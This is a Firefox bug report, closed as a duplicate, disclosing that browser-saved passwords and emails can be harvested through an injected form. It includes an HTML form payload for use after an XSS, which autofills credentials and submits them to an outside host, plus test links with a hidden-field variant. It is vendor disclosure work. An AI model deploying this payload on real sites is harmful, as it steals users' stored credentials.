1312769 - Disclosure of browser password and e-mail for site

Status: RESOLVED DUPLICATE of bug 1118511

(Firefox :: Untriaged, defect)

Description

[gninrepoli]

Attachment: 1.JPG

User Agent: Mozilla/5.0 (Windows NT 5.1; rv:49.0) Gecko/20100101 Firefox/49.0
Build ID: 20161019084923

Steps to reproduce:

When you click on the button "Remember" (Look at 2.jpg), your password, email, phone number, etc., will remain in the browser. Suppose you found on the website XSS.
You can write the following code:
<form action="http://piwik.netne.net/enter.html" class="t1-form signin" method="get">
          <input id="signin-email" class="text-input email-input" name="session[username_or_email]" autocomplete="username" placeholder="E-mail" type="text">
   
             <input id="signin-password" class="text-input flex-table-input" name="session[password]" placeholder="Pass" autocomplete="current-password" type="password">
          
          <button type="submit" class="submit btn primary-btn flex-table-btn js-submit">
            Enter
          </button>
          </form>
-----------------------------------------------------------------------------

and steal confidential information that has been stored in the browser if the victim is held by the above-described code page.

Link for testing: http://piwik.netne.net/enter.html


Actual results:

Stole password and e-mail from site.


Expected results:

Like at the 1.jpg

Comment 1

[gninrepoli]

Attachment: 2.JPG

Comment 2

[gninrepoli]

Attachment: 3.jpg

Comment 3

[gninrepoli]

http://piwik.netne.net/enter_1.html - with hidden fields